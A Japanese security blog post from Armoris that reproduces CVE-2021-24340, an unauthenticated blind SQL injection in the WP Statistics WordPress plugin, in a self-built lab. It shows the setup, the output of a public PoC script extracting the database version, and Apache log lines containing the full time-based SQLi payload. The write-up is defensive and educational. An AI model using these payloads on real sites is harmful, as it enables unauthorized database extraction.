このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。
あるもりすぶろぐの内容は個人の意見です。
CVE-2021-24340の検証
今回のArmoris日記では2021/05/19に公開されたCVE-2021-24340について簡単な検証を行います。
検証には自身で管理する環境を使用し、自己責任でお願いします
CVE-2021-24340はWP StatisticsというWordPressのサイトアナリティクスを表示するプラグインに存在するブラインドSQLインジェクションの脆弱性になります。本来であれば認証が必要なリクエストを攻撃者が認証を必要とせず実行できてしまうことに問題があります。
今回脆弱性が報告されたプラグインは60万件のサイトで導入されています。
ブラインドSQLインジェクションとは
- ブラインドSQLインジェクションは通常のSQLインジェクションのようにレスポンスデータから情報を入手するのではなく、実行したSQLによるレスポンスデータの違いから情報を入手するもの。
脆弱性情報:Wordfence
該当プラグイン:WP Statistics
影響を受けるバージョン:WP Statistics < 13.0.8
検証環境
検証用に用意した環境と各種バージョン情報は以下のとおりです。
Name | Version |
---|---|
Ubuntu Server | 20.04 |
WordPress | 5.7.2 |
WP Statistics | 13.0.7 |
検証環境作成
まずVagrantを使用してUbuntuServerとWordPressの環境を構築します。
$ cat Vagrantfile Vagrant.configure(2) do |config| config.vm.box = "generic/ubuntu2004" config.vm.provider "libvirt" config.vm.network "forwarded_port", guest: 80, host: 6823, host_ip: "172.20.100.120" end $ vagrant up
次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。
$ vagrant ssh-config Host default HostName 192.168.121.33 User vagrant Port 22 UserKnownHostsFile /dev/null StrictHostKeyChecking no PasswordAuthentication no IdentityFile /home/ubuntu/CVE-2021-24340/.vagrant/machines/default/libvirt/private_key IdentitiesOnly yes LogLevel FATAL $ cat host [server] 192.168.121.33 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3 $ ansible-playbook -i host wp.yml -v
以下をクリックすると普段私がArmoris日記で検証用に環境構築をする際使用しているymlファイルが表示されます。
WordPressのインストールが完了後プラグインの用意をします。
$ wget https://downloads.wordpress.org/plugin/wp-statistics.13.0.7.zip $ sudo unzip wp-statistics.13.0.7.zip $ sudo mv wp-statistics /var/www/wordpress/wp-content/plugins/
プラグインファイルを解凍後にWordPressのプラグインフォルダに移動し、ブラウザからサイトにアクセスしてプラグインを有効化します。
プラグインを有効化したら一度WordPressにアクセスし直してデフォルトのページを表示します。こうすることでサイトのアナリティクスデータが作成され、攻撃が可能になります。
PoCの実行
2021/06/09現在いくつかPoCが公開されており、今回は実際にスクリプトを使用してDBのバージョン情報を取得します。
実際に攻撃実行した結果になります。
$ python3 poc.py http://172.20.100.120:6823/wp-admin/admin.php 1 2021-06-09 04:15:32 [*] Params: [*] BaseURL: http://172.20.100.120:6823/wp-admin/admin.php [*] Timeout: 1 1 10 10. 10.3 10.3. 10.3.2 10.3.29 10.3.29- 10.3.29-M 10.3.29-Ma 10.3.29-Mar 10.3.29-Mari 10.3.29-Maria 10.3.29-MariaD 10.3.29-MariaDB 10.3.29-MariaDB- 10.3.29-MariaDB-0 10.3.29-MariaDB-0u 10.3.29-MariaDB-0ub 10.3.29-MariaDB-0ubu 10.3.29-MariaDB-0ubun 10.3.29-MariaDB-0ubunt 10.3.29-MariaDB-0ubuntu 10.3.29-MariaDB-0ubuntu0 [*] Exfiltrated data: 10.3.29-MariaDB-0ubuntu0 2021-06-09 04:19:45
以下は実際にWordPressで使用しているDBサーバーでバージョン情報を表示した結果になります。
MariaDB [wordpress]> SELECT @@VERSION; +----------------------------------+ | @@VERSION | +----------------------------------+ | 10.3.29-MariaDB-0ubuntu0.20.04.1 | +----------------------------------+ 1 row in set (0.002 sec)
実際に認証を必要とせずDBサーバーの情報と同じものが取得できることが確認できます。
この時のApacheのログを確認すると以下のようになっています。
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D110)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1" 192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D110%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1" 192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D111)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1" 192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D111%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4853 "-" "python-requests/2.25.1" 192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D112)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1" 192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D112%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1" 192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D113)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1" 192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D113%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"
非常に特徴的なリクエストが送信されていることがわかります。
まとめ
今回は久しぶりのArmoris日記検証編でした。
取り上げたプラグインではいくつかのSQLインジェクション対策がされていましたが、リクエストの仕方を工夫することで回避できることが発見されています。
実際にこう言った状況が発生した際にすぐに対策を行なったりアップデートを行えるように運用にも気を配る必要があると感じました。
自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。